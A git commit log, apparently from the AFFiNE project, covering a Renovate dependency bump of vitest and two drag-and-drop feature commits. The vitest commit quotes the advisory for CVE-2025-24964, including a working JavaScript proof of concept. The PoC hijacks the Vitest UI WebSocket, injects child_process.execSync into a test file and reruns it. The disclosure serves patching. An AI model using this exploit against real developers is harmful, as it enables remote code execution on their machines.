renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
doouding
99717196c5
refactor: rewrite blocksuite dnd ( #9595 )
...
### Changed
- Refactored BlockSuite drag-and-drop using @atlaskit/pragmatic-drag-and-drop/element/adapter.
- Updated block dragging to use the new drag-and-drop infrastructure.
### BlockSuite DND API
Access the BlockSuite drag-and-drop API via `std.dnd`. This is a lightweight wrapper around pragmatic-drag-and-drop, offering convenient generic types and more intuitive option names.
#### Drag payload structure
There's some constrain about drag payload. The whole drag payload looks like this:
```typescript
type DragPayload = {
entity: {
type: string
},
from: {
at: 'blocksuite',
docId: string
}
}
```
- The `from` field is auto-generated—no need for manual handling.
- The `entity` field is customizable, but it must include a `type`.
All drag-and-drop methods accept a generic type for entity, ensuring more accurate payloads in event handlers.
```typescript
type BlockEntity = {
type: 'blocks',
blockIds: string[]
}
dnd.draggable<BlockEntity>({
element: someElement,
setDragData: () => {
// the return type must satisfy the generic type
// in this case, it's BlockEntity
return {
type: 'blocks',
blockIds: []
}
}
});
dnd.monitor<BlockEntity>({
// the arguments is same for other event handler
onDrag({ source }) {
// the type of this is BlockEntity
source.data.entity
}
})
```
#### Drop payload
When hover on droppable target. You can set drop payload as well. All drag-and-drop methods accept a second generic type for drop payload.
The drop payload is customizable. Additionally, the DND system will add an `edge` field to the final payload object, indicating the nearest edge of the drop target relative to the current drag position.
```typescript
type DropPayload = {
blockId: string;
}
dnd.dropTarget<BlockEntity, DropPayload>({
getData() {
// the type should be DropPayload
return {
blockId: 'someId'
}
}
});
dnd.monitor<BlockEntity, DropPayload>({
// drag over on drop target
onDrag({ location }) {
const target = location.current.dropTargets[0];
// the type is DropPayload
target.data;
// retrieve the nearest edge of the drop target relative to the current drop position.
target.data.edge;
}
})
```
2025-01-16 12:36:58 +00:00
pengx17
a4841bbfa3
feat(core): drop doc onto split view ( #9487 )
...
fix AF-2068, AF-2069, AF-1175, AF-2061, AF-2079, AF-2034, AF-2080, AF-1960, AF-2081
1. replace `dnd-kit` with `@atlaskit/pragmatic-drag-and-drop`
2. allow creating split views by drag & drop the following
a. WorkbenchLinks (route links), like journals, trash, all docs
b. doc refs
c. tags/collection
3. style adjustments to split view
4. remove split view's feature flag and make it GA for electron
https://github.com/user-attachments/assets/6a3e4a25-faa2-4215-8eb0-983f44db6e8c
2025-01-08 05:05:33 +00:00